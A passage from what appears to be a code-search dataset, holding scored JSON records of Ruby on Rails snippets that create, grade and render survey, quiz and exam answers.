\" />\" +\n \t\t\t\t\t(item.text.empty? ? \"\" : \"<label class='radiolabel' for='#{c_id}_#{i}'>#{item.text}</label>\"), \"radio #{span}\")\n\t\t\t\telse # spacing\n\t\t\t\t\tspan_item(item.text.empty? ? \"&nbsp;&nbsp;&nbsp&nbsp;&nbsp;\" : div_item(item.text, \"radiolabel\"), \"radio #{span}\")\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t# default value, obsoleted. Default value is set when no value is given in create_cells\n\t\tif show_all\n\t\t\tnewform << div_item(\"<input id='#{c_id}_9' name='#{question_no}[#{c_id}]' type='radio' value='9' #{checked ? '' : checked} style='display:none;' >\", # removed />\n\t\t\t\"hidden_radio\")\n\t\tend\n\t\tnewform.join\n\tend", "title": "" }, { "docid": "27bed90a68550532786e708b878a8ff9", "score": "0.62394315", "text": "def create_answers_if\n if self.type.name == 'satisfaction-100'\n 5.times do |n|\n Answer.create(question: self, value: (n*25).to_s + \"%\")\n end\n end\n if self.type.name == 'free-text'\n Answer.create(question: self, value: \"textarea\")\n end\n end", "title": "" }, { "docid": "f394328e870b1dd3029886c1c2735a2b", "score": "0.62054795", "text": "def create\n @answer = @question.answers.build(answer_params)\n @answer.save\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end", "title": "" }, { "docid": "6b39a042ddb3b38e62919a073020863f", "score": "0.61815554", "text": "def generate_answers\n raise \"This should be handled by subclasses!\"\n end", "title": "" }, { "docid": "177e1a2e43ed540567139f7349b3b31c", "score": "0.6146341", "text": "def create\n @annual_summary_report = AnnualSummaryReport.new(annual_summary_report_params)\n\n #create default questions\n questions = Question.all\n @annual_summary_report.user_id = current_user.id\n @annual_summary_report.status = 1\n\n respond_to do |format|\n if @annual_summary_report.save\n for question in questions\n answer = Answer.new\n answer.question = question.question\n answer.question_id = question.id\n answer.answer = '';\n answer.section_id = question.section_id\n answer.annual_summary_report_id = @annual_summary_report.id\n answer.save\n end\n\n format.html { redirect_to @annual_summary_report }\n format.json { render :show, status: :created, location: @annual_summary_report }\n else\n format.html { render :new }\n format.json { render json: @annual_summary_report.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1af6d89726eea1bbda49c6ea6f23529", "score": "0.6097281", "text": "def create_answer\n current_stat_id = nil\n factorIds = []\n badFactors = []\n if params[:form_fields] != nil\n params[:form_fields].each do |field|\n current_stat_id = field[1][:statistic_id].to_i\n af = AnsweredFactor.where(factor_id: field[1][:factor_id],\n statistic_id: current_stat_id,\n month: params[:month],\n year: params[:year],\n user_id: current_user.id).first_or_create\n\n af[:amount] = field[1][:value]\n af.save\n\n if af.amount == nil\n badFactors.push(af)\n af.delete\n else\n factorIds.push([af.id, current_stat_id])\n end\n end\n if badFactors.count == 0\n userFactors = rearrangeFactors(factorIds)\n updateAnswer(userFactors,{:month=>params[:month],:year=>params[:year]})\n current_user.score += Mission.getScore(current_user)\n current_user.effective_score += Mission.getScore(current_user)\n current_user.save\n end\n end\n if badFactors.count == 0 and factorIds.count != 0\n redirect_to statistics_path\n else\n redirect_to emissions_template_path, alert: \"Factor cannot be left blank.\"\n end\n end", "title": "" }, { "docid": "b9ff7bcb4bfccdfc99385bcdd9cd7111", "score": "0.60905844", "text": "def index\n @dei_field_answers = DeiFieldAnswer.all\n end", "title": "" }, { "docid": "d131c3745ab0c71905a352e44d6986ae", "score": "0.6059442", "text": "def create\n\t\n\t@exam_answer = ExamAnswer.new(exam_answer_params)\n\tif @exam_answer.exam_id == 999\n\t\t@exam_answer.exam_level = params[:exam_lv]\n\t\t@questions = Question.all.where(level: params[:exam_lv])\n\t\t@exams_questions = @questions.all.where(id: [params[:q1_id], params[:q2_id], params[:q3_id], params[:q4_id], params[:q5_id], params[:q6_id], params[:q7_id], params[:q8_id], params[:q9_id], params[:q10_id]])\n\telse\n\t\t@exam = Exam.find(@exam_answer.exam_id)\n\t\t@exam_answer.exam_level = @exam.level\n\t\t@questions = Question.all.where(level: @exam_answer.exam_level)\n\t\t@exams_questions = @questions.all.where(id: [@exam.question1, @exam.question2, @exam.question3, @exam.question4, @exam.question5, @exam.question6, @exam.question7, @exam.question8, @exam.question9, @exam.question10])\n\tend\n\t\n\t@exam_answer.user_id = current_user.id\n\t@exam_answer.ans1 = params[:q1]\n\t@exam_answer.q1 = (@exam_answer.ans1 == @exams_questions[0].answerR ? true : false)\n\t@exam_answer.ans2 = params[:q2]\n\t@exam_answer.q2 = (@exam_answer.ans2 == @exams_questions[1].answerR ? true : false)\n\t@exam_answer.ans3 = params[:q3]\n\t@exam_answer.q3 = (@exam_answer.ans3 == @exams_questions[2].answerR ? true : false)\n\t@exam_answer.ans4 = params[:q4]\n\t@exam_answer.q4 = (@exam_answer.ans4 == @exams_questions[3].answerR ? true : false)\n\t@exam_answer.ans5 = params[:q5]\n\t@exam_answer.q5 = (@exam_answer.ans5 == @exams_questions[4].answerR ? true : false)\n\t@exam_answer.ans6 = params[:q6]\n\t@exam_answer.q6 = (@exam_answer.ans6 == @exams_questions[5].answerR ? true : false)\n\t@exam_answer.ans7 = params[:q7]\n\t@exam_answer.q7 = (@exam_answer.ans7 == @exams_questions[6].answerR ? true : false)\n\t@exam_answer.ans8 = params[:q8]\n\t@exam_answer.q8 = (@exam_answer.ans8 == @exams_questions[7].answerR ? true : false)\n\t@exam_answer.ans9 = params[:q9]\n\t@exam_answer.q9 = (@exam_answer.ans9 == @exams_questions[8].answerR ? true : false)\n\t@exam_answer.ans10 = params[:q10]\n\t@exam_answer.q10 = (@exam_answer.ans10 == @exams_questions[9].answerR ? true : false)\n\t\n\trec_point = (@exam_answer.q1 ? 1:0) + (@exam_answer.q2 ? 1:0) + (@exam_answer.q3 ? 1:0) + (@exam_answer.q4 ? 1:0) + (@exam_answer.q5 ? 1:0) + (@exam_answer.q6 ? 1:0) + (@exam_answer.q7 ? 1:0) + (@exam_answer.q8 ? 1:0) + (@exam_answer.q9 ? 1:0) + (@exam_answer.q10 ? 1:0)\n\tpoints = rec_point/10.to_f\n\tif @exam_answer.exam_id == 999\n\t\tif params[:exam_lv] == \"Początkujący\"\n\t\t\tpoints2 = points*10.to_i\n\t\telse\n\t\t\tpoints2 = points*20.to_i\n\t\tend\n\telse\n\t\tpoints2 = points*@exam.points.to_i\n\tend\n\t@exam_answer.rec_points = points2\n\n\tif @exam_answer.exam_id == 999\n\t\ttemp = 7/10.to_f\n\t\tif params[:exam_lv] == \"Początkujący\"\n\t\t\t@min = temp*10.to_i\n\t\telse\n\t\t\t@min = temp*20.to_i\n\t\tend\n\telse\n\t\ttemp = 7/10.to_f\n\t\t@min = temp*@exam.points.to_i\n\tend\n\n\tif @exam_answer.rec_points >= @min\n\t\t@user_progress = UserProgress.find_by user_id: current_user.id\n\t\tif @exam_answer.exam_id == 999\n\t\t\tif params[:exam_lv] == \"Początkujący\" && @user_progress.p10?\n\t\t\t\t@user_progress.update(poczatkujacy: true)\n\t\t\telsif params[:exam_lv] == \"Zaawansowany\" && @user_progress.z10?\n\t\t\t\t@user_progress.update(complete_all: true)\n\t\t\t\t@user_progress.update(zaawansowany: true)\n\t\t\tend\n\n\n\t\telse\n\n\t\t\tif @exam.level == \"Początkujący\" && @user_progress.p10?\n\t\t\t\t@user_progress.update(poczatkujacy: true)\n\t\t\telsif @exam.level == \"Zaawansowany\" && @user_progress.z10?\n\t\t\t\t@user_progress.update(complete_all: true)\n\t\t\t\t@user_progress.update(zaawansowany: true)\n\t\t\tend\n\t\tend\n\t\tcurrent_user.increment!(:points, points2)\n\t\trespond_to do |format|\n\t\t if @exam_answer.save\n\t\t format.html { redirect_to @exam_answer, :notice => \"Zdales egzamin!.\" }\n\t\t format.json { render :show, status: :created, location: @exam_answer }\n\t\t else\n\t\t format.html { render :new }\n\t\t format.json { render json: @exam_answer.errors, status: :unprocessable_entity }\n\t\t end\n\t\tend\n\t\t\n\telse\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to exam_list_path , :notice => \"Nie zdales egzaminu, zdobyles za malo punktow, liczba otrzymanych punktow - #{@exam_answer.rec_points} , minimum do zdania - #{@min}\" }\n\t\t format.json { render exam_list_path, status: :unprocessable_entity , location: exam_list }\n\t\tend\n\tend\nend", "title": "" }, { "docid": "f8f9d9efd5513cbc1627c6303d76e240", "score": "0.6059436", "text": "def new\n @question = @quiz.questions.new\n\n 4.times { @question.answers.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question }\n end\n end", "title": "" }, { "docid": "0145a0581c5b052df90dd43511fe2bf7", "score": "0.6006487", "text": "def answer\n @form_data = Form.get_published_form(params[:code])\n if @form_data.nil?\n redirect_to \"/dashboard\"\n else\n @questions = Question.get_questions_by_ids(@form_data['id'], JSON.parse(@form_data['question_order']))\n @all_options = Option.collect_options_per_quetions(JSON.parse(@form_data['question_order']))\n end\n end", "title": "" }, { "docid": "2869912993c29f35e4a617d666419c0e", "score": "0.59400755", "text": "def create\n\n\t\trespond_to do |format|\n\t\t\tif @answer.save\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @answer }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "a4047e5f6baf3906956ac7446debaf20", "score": "0.5879398", "text": "def create\n @question = Question.new(text: \"Default\")\n @answer = @question.answers.build(text: \"Answer1\", color: \"red\", score: 100)\n @answer.save\n @answer = @question.answers.build(text: \"Answer2\", color: \"green\", score: 50)\n @answer.save\n @answer = @question.answers.build(text: \"Answer3\", color: \"blue\", score: 0)\n @answer.save\n #This sets all of the default answers to have a score of 0\n GenPackage.all.each do |package|\n @answer_value = package.answer_values.build(score: 0, question_id: @question.id)\n @answer_value.save\n end\n\n #This qill try and save the question, and if it succeeds, then it alerts the use that the question had been created\n respond_to do |format|\n if @question.save\n format.html { redirect_to :planner, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: :planner }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a743f2ff4e7991bb590255ec20dc0c2", "score": "0.586502", "text": "def add_questions_answers(responses)\n content = \"\"\n responses.each do |response|\n answer = response.answer\n if !response.string_value.nil?\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.string_value)}\\n\"\n elsif answer.text == \"Date\"\n content += \"<b>#{response.question.text}</b> - #{response.datetime_value.to_date}\\n\"\n else\n content += \"<b>#{response.question.text}</b> - #{CGI::escapeHTML(response.answer.text.to_str)}\\n\"\n end\n end\n content\n end", "title": "" }, { "docid": "2d59f911f0323602fe697bbc47d74a83", "score": "0.5853504", "text": "def answers\n @answers ||= generate_answers\n end", "title": "" }, { "docid": "c623429bf69004d9d3fba709d3610eb4", "score": "0.58468723", "text": "def index\n @submitted_answers = SubmittedAnswer.all\n end", "title": "" }, { "docid": "5a092dc17cdbaf89ac61d00793b3df21", "score": "0.5823757", "text": "def complete(count, answer = nil, questionnaire_min, questionnaire_max, dropdown_or_scale)\n html = '<div><label for=\"responses_' + count.to_s + '\">' + txt + '</label></div>'\n question_advices = QuestionAdvice.where(question_id: id).sort_by(&:id)\n advice_total_length = 0\n question_advices.each do |question_advice|\n advice_total_length += question_advice.advice.length if question_advice.advice && question_advice.advice != ''\n end\n # show advice given for different questions\n html += advices_criterion_question(count, question_advices) if !question_advices.empty? && (advice_total_length > 0)\n # dropdown options to rate a project based on the question\n html += dropdown_criterion_question(count, answer, questionnaire_min, questionnaire_max) if dropdown_or_scale == 'dropdown'\n # scale options to rate a project based on the question\n html += scale_criterion_question(count, answer, questionnaire_min, questionnaire_max) if dropdown_or_scale == 'scale'\n safe_join([''.html_safe, ''.html_safe], html.html_safe)\n end", "title": "" }, { "docid": "5cb00a17c046d102bcceffe399aaacc6", "score": "0.58197165", "text": "def create\n @response = Response.new(params[:response])\n @response.ip_address = request.remote_ip\n @response.survey_id = @survey.id\n @response.user_id = current_user\n \n for param in params do\n if param[0] =~ /^question_id_/\n # handle all question parameters\n # $' represents the value of the question_id\n if param[1].is_a? Hash\n # Valid keys include country, option, year, month, day and numeric option_id\n if param[1].has_key? \"year\" && \"month\" && \"day\"\n # concat year, month and day into one answer\n @response.answers.build(:question_id => $', :answer => Date.new(param[1][\"year\"].to_i, param[1][\"month\"].to_i, param[1][\"day\"].to_i) )\n elsif param[1].has_key? \"option\"\n # look up option id for radio & select questions and build answer\n option_id = Option.find_by_label_and_question_id(param[1][\"option\"], $').id\n @response.answers.build(:question_id => $', :answer => param[1][\"option\"], :option_id => option_id)\n elsif param[1].has_key? \"country\"\n # build country answer\n @response.answers.build(:question_id => $', :answer => param[1][\"country\"])\n else\n # build checkbox and likert answers\n param[1].each do |key, value|\n @response.answers.build(:question_id => $', :answer => value, :option_id => key) unless value == \"0\"\n end\n end\n else\n # build answer without option ie text, textarea\n @response.answers.build(:question_id => $', :answer => param[1] ) #unless param[1].blank?\n end \n end\n if param[0] == 'token'\n @response.survey.update_invitation(param[1])\n end\n end\n\n respond_to do |format|\n if @response.save!\n flash[:notice] = 'Response was successfully created.'\n format.html { redirect_to([@survey, @response]) }\n format.xml { render :xml => @response, :status => :created, :location => @response }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @response.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordInvalid => invalid\n render :action => \"new\"\n end", "title": "" }, { "docid": "e30964bfd34f5a6ff622fa603644163a", "score": "0.58189744", "text": "def new\n if @submission.gradings.count > 0\n redirect_to edit_course_assessment_submission_grading_path(@course, @assessment, @submission, @submission.gradings.first)\n return\n end\n\n @summary = {qn_ans: {}}\n\n @assessment.questions.each_with_index do |q,i|\n if q.is_a?(Assessment::MpqQuestion)\n @summary[:qn_ans][q.id] = { qn: q.specific, i: i + 1 }\n @summary[:qn_ans][q.id][:sub_q] = {}\n q.as_question.sub_questions.each_with_index do |sq, si|\n @summary[:qn_ans][q.id][:sub_q][sq.id] = { qn: sq.specific, i: si + 1 }\n end\n else\n @summary[:qn_ans][q.id] = { qn: q.specific, i: i + 1 }\n end\n end\n\n eval_answer\n\n @submission.answers.each do |ans|\n qn = ans.question\n if qn.parent\n @summary[:qn_ans][qn.parent.question.id][:sub_q][qn.id][:ans] = ans\n else\n @summary[:qn_ans][qn.id][:ans] = ans\n end\n\n\n #suggest grading for auto grading question\n if qn.is_a?(Assessment::CodingQuestion) && qn.auto_graded?\n results = ans.result_hash[\"eval\"]\n evals = results ? results.select {|r| r}.length : 0\n tests = qn.data_hash[\"eval\"].length\n tests = tests == 0 ? 1 : tests\n grade = (qn.max_grade * evals / tests).to_i\n ag = ans.answer_grading.new\n ag.grade = grade\n\n @summary[:qn_ans][qn.question.id][:grade] = ag\n end\n end\n end", "title": "" }, { "docid": "13ab7ee5950e73d81f10bef4eefa302e", "score": "0.5800815", "text": "def answer_form(type='html')\n if type.to_s == 'html'\n exercise_type.answer_partial\n end\n end", "title": "" }, { "docid": "64c75a80da6e676ebddcf27c21b07d5d", "score": "0.5798206", "text": "def with_answers\n @questions = Question.answered\n render(:action => \"index\")\n end", "title": "" }, { "docid": "8d222095f5789c5ed420b4106ec3551a", "score": "0.57711893", "text": "def new\n @report_question_answer = ReportQuestionAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report_question_answer }\n end\n end", "title": "" }, { "docid": "0e520c33d25de4d7871c539f50cfef67", "score": "0.57664293", "text": "def show\n @answer = Answer.new\n @comment_question = CommentQuestion.new\n @comment_report_question = CommentReportQuestion.new\n @question_report = QuestionReport.new\n @comment_report_answer = CommentReportAnswer.new\n end", "title": "" }, { "docid": "9dac1af69133746f0b90dbd6a80e554c", "score": "0.5741591", "text": "def create\n @report_question_answer = ReportQuestionAnswer.new(params[:report_question_answer])\n\n respond_to do |format|\n if @report_question_answer.save\n format.html { redirect_to @report_question_answer, notice: 'Report question answer was successfully created.' }\n format.json { render json: @report_question_answer, status: :created, location: @report_question_answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @report_question_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a97e677b7c9ddf6a7594b39d604cd34", "score": "0.5738977", "text": "def build_odk_submission(form, options = {})\n # allow form id to be overridden for testing bad submissions\n form_id = options[:override_form_id] || form.id\n\n raise \"form should have version\" if form.current_version.nil?\n\n ''.tap do |xml|\n xml << \"<?xml version='1.0' ?><data id=\\\"#{form_id}\\\" version=\\\"#{form.current_version.sequence}\\\">\"\n\n if options[:no_answers]\n if form.allow_incomplete?\n xml << \"<#{OdkHelper::IR_QUESTION}>yes</#{OdkHelper::IR_QUESTION}>\"\n end\n else\n form.questionings.each_with_index do |qing, i|\n xml << \"<#{qing.question.odk_code}>#{(i+1)*5}</#{qing.question.odk_code}>\"\n end\n end\n\n xml << \"</data>\"\n end\n end", "title": "" }, { "docid": "005f8b54ec297a632eb602c905362ec9", "score": "0.5731473", "text": "def create_report\n print_sales_report_ASCII\n print_date\n print_products_ASCII\n print_brands_ASCII\n end", "title": "" }, { "docid": "bcaa822164d2b61c3d258545a6f88738", "score": "0.5729897", "text": "def create\r\n @evaluation = Evaluation.new(params[:evaluation])\r\n @answers = @evaluation.responses\r\n\r\n respond_to do |format|\r\n if @evaluation.save && @answers.each{|a| a.save }.all?\r\n format.html { redirect_to(@evaluation, :notice => 'Evaluation was successfully created.') }\r\n format.xml { render :xml => @evaluation, :status => :created, :location => @evaluation }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @evaluation.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "a6287965030636682ee0de5a94cd032e", "score": "0.5726116", "text": "def new\n @survey_tung = SurveyTung.new\n\n #3.times do\n question = @survey_tung.question_tungs.build\n 2.times { question.answers.build }\n #end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey_tung }\n end\n end", "title": "" }, { "docid": "03321cd80b6201f6c77e7774618f090f", "score": "0.5725494", "text": "def new\n @survey = Survey.new\n @title = \"Новый тест\"\n\n 3.times do\n question = @survey.questions.build\n 4.times { question.answers.build }\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "23e552251eaf36f51de2100152bf5664", "score": "0.5718177", "text": "def result\n @exam = current_exam(params)\n\n @exam_reporter = @exam.evaluate(params[:answers])\n end", "title": "" }, { "docid": "37589c23cc2d35dd6c5bf42b168e2664", "score": "0.57079387", "text": "def index\n @actual_answers = ActualAnswer.all\n end", "title": "" }, { "docid": "40e45c120309c9b35d380d6dae48ac83", "score": "0.5705939", "text": "def new_answer\n answer = Answer.last\n UserMailer.new_answer(answer)\n end", "title": "" }, { "docid": "486e5ea162d3d05183b287ac0495f16b", "score": "0.5702177", "text": "def index\n @given_answers = GivenAnswer.all\n end", "title": "" }, { "docid": "4760c3ffa1d07b72697cb37b91e1afb2", "score": "0.57015437", "text": "def html_form\n f = String.new\n f << form_operation.in_hidden(name:'operation')\n f << id.in_hidden(name:'quiz[id]', id:\"quiz_id-#{id}\")\n # Le temps courant, au cas où, pour voir si le formulaire n'est\n # pas soumis trop vite\n f << NOW.in_hidden(name: 'quiz[time]')\n f << questions_formated\n f << bouton_soumission_ou_autre.in_div(class: 'buttons')\n\n f = f.force_encoding('utf-8').in_form(id: form_id, class:'quiz', action: form_action)\n end", "title": "" }, { "docid": "f80638ed7483e80229904438aada5ea3", "score": "0.5700029", "text": "def index\n\t\t@answers = Answer.all\n\tend", "title": "" }, { "docid": "c1a624f293267aef36c5776bda42eb03", "score": "0.56998473", "text": "def index\n \n unless params[:promotionize]\n @report_fields = @report_setup.report_fields.sort{|x, y| x.display_name <=> y.display_name}\n else\n fields = @report_setup.fields\n\n fields = @report_setup.add_one_to_many_fields(fields, @promotion)\n fields = @report_setup.add_eval_questions(fields, @promotion)\n fields = @report_setup.add_other_promotion_specific_fields(fields, @promotion)\n # see lib/behaviors_for_reports.rb\n fields = BehaviorsForReports.add_behavior_fields(fields,@promotion)\n\n # @report_fields = @report_fields.values\n @report_fields = []\n fields.each do |id, field|\n if field[:visible]\n field[:id] = id\n @report_fields << field\n end\n end\n\n end\n\n return HESResponder({:data => @report_fields.as_json, :meta => nil})\n end", "title": "" }, { "docid": "eb1df48d136c053b1423eaab49da2900", "score": "0.5695966", "text": "def show\n @vig= Vig.find(params[:vig_id])\n @member = @vig.member\n\n @formulario = Form.new( name: \"Javier\" )\n @test.questions.each do |q|\n case q.type\n when 'section'\n @input = @formulario.members.build type: 'section', name: q.content\n q.questions.each do |question|\n if question.type == 'check'\n @answer = @input.answers.build( type: 'checkbox', content: question.content, id_question: question.id )\n question.options_answers.each do |opt|\n @answer.answers << Answer.new(vig_id: @vig.id , type: 'radio', question: question, option: opt )\n end\n else\n @input.answers << Answer.new( note: nil, question: question, type: 'text_field' )\n end\n end\n when 'text', 'textarea'\n @input = @formulario.members.build type: 'text_field', name: q.content\n @input.answers << Answer.new( note: nil, question: q )\n when 'check'\n\n @input = @formulario.members.build type: 'checkbox', name: q.content, id_question:q.id\n q.options_answers.each do |question|\n @input.answers << Answer.new(vig_id: @vig.id , type: 'checkbox', question: q, option: question )\n end\n when 'nested'\n puts \"NESTED\"\n # create the input member\n @input = @formulario.members.build type: 'nested', name: q.content\n \n # create nested member\n q.questions.each do |question|\n member = @input.inputs.build( type:question.type, name:question.content, id_question: question.id )\n if member.type == 'section'\n question.questions.each do |a|\n member.answers << Answer.new( note: nil, question: question )\n end\n else \n question.options_answers.each do |opt|\n member.answers << Answer.new( vig_id: @vig.id, type:'radio', question:question, option: opt )\n end\n end\n end\n\n # added opt answers\n q.options_answers.each do |opt|\n @input.answers << Answer.new(vig_id: @vig.id , type: 'checkbox', question: q, option: opt )\n end\n else\n #puts @input.name\n end\n end\n\n #@questions= @test.questions\n #@answers = Array.new(@questions.count){Answer.new}\n #\n end", "title": "" }, { "docid": "673cac14b40c0d516b8be140806ea10b", "score": "0.5681971", "text": "def index\n @hostel_forms = HostelForm.all\n\n respond_to do |format|\n format.html\n format.pdf do\n send_data generate_hostel_forms_report(@hostel_forms), filename: 'hostel_form.pdf',\n type: 'application/pdf',\n disposition: 'attachment'\n end\n end\n end", "title": "" }, { "docid": "197f586053f9a8f76d4cc0a8c106226f", "score": "0.5668497", "text": "def create\n @answer = Form::Answer.new(answer_params)\n respond_to do |format|\n if @answer.save\n format.html { redirect_to thanks_path, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b885941665b14fe180b154a81f30ca4e", "score": "0.5656921", "text": "def generate_answers\n masterless = @options[:masterless]\n return super if masterless\n\n dashboard = only_host_with_role(@hosts, 'dashboard')\n database = only_host_with_role(@hosts, 'database')\n master = only_host_with_role(@hosts, 'master')\n\n the_answers = super\n if dashboard != master\n # in 3.2, dashboard needs the master certname\n the_answers[dashboard.name][:q_puppetmaster_certname] = master.to_s\n end\n\n # do we want to check for updates?\n pe_check_for_updates = answer_for(@options, :q_pe_check_for_updates, 'n')\n the_answers[dashboard.name][:q_pe_check_for_updates] = pe_check_for_updates\n the_answers[master.name][:q_pe_check_for_updates] = pe_check_for_updates\n\n if @options[:type] == :upgrade && dashboard != database\n # In a split configuration, there is no way for the upgrader\n # to know how much disk space is available for the database\n # migration. We tell it to continue on, because we're\n # awesome.\n the_answers[dashboard.name][:q_upgrade_with_unknown_disk_space] = 'y'\n end\n @hosts.each do |h|\n h[:answers] = the_answers[h.name]\n end\n return the_answers\n end", "title": "" }, { "docid": "b6e863fb216133fe9294afc09302f130", "score": "0.56526923", "text": "def generate_all_csv_answers\n generate_csv_answers(csv_answers_values)\n end", "title": "" }, { "docid": "fd4802b3847ae8541517c006ac451582", "score": "0.5634697", "text": "def survey_answer_for attempt, question\n question.field(attempt: attempt, answer: attempt.answer_to(question))\n\n render partial: question.field.show_path, locals: { question: question }\n end", "title": "" }, { "docid": "4980b2bb800a9c4cafd70509bb4af299", "score": "0.5632908", "text": "def index\n @fake_answers = FakeAnswer.all\n end", "title": "" }, { "docid": "54b0b0e8d82269106c8a4de1ed6f3e09", "score": "0.563013", "text": "def index\n @simulation_answers = SimulationAnswer.all\n end", "title": "" }, { "docid": "13e18a52ad5281b8a407e1b4ae4bb327", "score": "0.56264836", "text": "def create\n @answer = @question.answers.new(answer_params)\n\n if @answer.save\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:new, @answer)\n end\n end", "title": "" }, { "docid": "c458219e114fbc3f097b7a9d3fa2392e", "score": "0.56232125", "text": "def create\n @answers = params[:user_answers]\n @answers.each do |key, value|\n UserAnswer.create(:user_id => current_user.id, :survey_question_id => key.to_i, :text => value)\n end\n redirect_to :root\n end", "title": "" }, { "docid": "0995fd79c3af9406380f82f7cf543e21", "score": "0.562266", "text": "def answer\n question = Question.joins(:subscriptions, :answers).first\n raise \"No subsriptions, cannot create sample\" if question.nil?\n CustomMailer.answer(question.user, question.answers.first)\n end", "title": "" }, { "docid": "b6b9387142057b49e718eed8f1613b6e", "score": "0.5621197", "text": "def answers\n request('answers')\n end", "title": "" }, { "docid": "17ae9b7da2613aa77c7bf2a3c0d1d88a", "score": "0.56004906", "text": "def record_answers\n self.company_id ||= fetch_company_id\n self.metric_id ||= fetch_metric_id\n Answer.where(company_id: company_id, metric_id: metric_id).where.not(id: id)\n end", "title": "" }, { "docid": "207ef0e7e8bea1bb1bd373d175c056c8", "score": "0.55890876", "text": "def report\n\t\tend", "title": "" }, { "docid": "b99333a6f2b6d73013fbd23991c7678b", "score": "0.5584684", "text": "def create\n student_answers_hash = assessment_info_params[:student_answers]\n student_answers = student_answers_hash.collect { |s| StudentAnswer.new( s)}\n\n assessment_info_map = assessment_info_params.except(:student_answers)\n\n\n\n assessment_info_map[:student_answers] = student_answers\n\n @assessment_info = AssessmentInfo.new( assessment_info_map )\n @assessment_info.student_user_id = current_user.id\n\n\n\n\n\n respond_to do |format|\n correct_count = 0\n if @assessment_info.save\n\n @assessment_info.student_answers.each do |student_answer|\n\n sa = StudentAnswer.find(student_answer.id)\n\n if sa.question.question_type == 0\n if sa.answer_choice_id == sa.question.question_answers.first.choice_id\n sa.correct = true\n correct_count = correct_count + 1\n else\n sa.correct = false\n end\n sa.save!\n elsif student_answer.question.question_type == 1\n if student_answer.answer_text == student_answer.question.answer\n sa.correct = true\n correct_count = correct_count + 1\n else\n sa.correct = false\n end\n sa.save!\n end\n\n end\n\n @assessment_info.result = correct_count.to_d/@assessment_info.student_answers.count*100\n #if result less than passing grade set the concept as incomplete\n @learned_concept = LearnedConcept.find_by(concept_id: @assessment_info.assessment.concept_id)\n if !@learned_concept\n\n @learned_concept = LearnedConcept.new\n @learned_concept.concept_id = @assessment_info.assessment.concept.id\n @learned_concept.learned_course_id = @assessment_info.assessment.concept.course_id\n end\n if @assessment_info.result < @assessment_info.assessment.min_passing_grade\n @learned_concept.completed = false\n else\n @learned_concept.completed = true\n end\n @learned_concept.save\n @assessment_info.save\n format.html { redirect_to @assessment_info, notice: 'assessment was submitted.' }\n format.json { render :show, status: :created, location: @assessment_info }\n else\n format.html { render :new }\n format.json { render json: @assessment_info.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "4f623dfea3089db82484e6a2c8b86a65", "score": "0.5581711", "text": "def create\n retval = @survey.create_report_mockup(params[:report_mockup])\n render_json_auto retval and return\n end", "title": "" }, { "docid": "65fa7da8488ea50aed515df4602d307d", "score": "0.55672634", "text": "def set_pe_descriptions\n physical_exams = \"Exámen físico:\\n\"\n\n if @options['head_neck_pe'] == true\n physical_exams += \" Cabeza y cuello: #{@record.consultations.last.physical_exams.where(exam_type: 'Head and Neck').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['chest_pe'] == true\n physical_exams += \" Torax: #{@record.consultations.last.physical_exams.where(exam_type: 'Chest').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['abdomen_pe'] == true\n physical_exams += \" Adbomen: #{@record.consultations.last.physical_exams.where(exam_type: 'Abdomen').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['genitals_pe'] == true\n physical_exams += \" Genitales: #{@record.consultations.last.physical_exams.where(exam_type: 'Genitals').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['soft_parts_pe'] == true\n physical_exams += \" Partes blandas: #{@record.consultations.last.physical_exams.where(exam_type: 'Soft Parts').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['extremities_pe'] == true\n physical_exams += \" Extremidades: #{@record.consultations.last.physical_exams.where(exam_type: 'Extremities').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['vascular_pe'] == true\n physical_exams += \" Vascular: #{@record.consultations.last.physical_exams.where(exam_type: 'Vascular').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['skin_pe'] == true\n physical_exams += \" Piel: #{@record.consultations.last.physical_exams.where(exam_type: 'Skin').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['mamma_pe'] == true\n physical_exams += \" Mamas: #{@record.consultations.last.physical_exams.where(exam_type: 'Mamma').first.observation.gsub(/\\r\\n/, ' ')}\\n\"\n end\n\n if @options['others_pe'] == true\n physical_exams += \" Otros: #{@record.consultations.last.physical_exams.where(exam_type: 'Others').first.observation.gsub(/\\r\\n/, 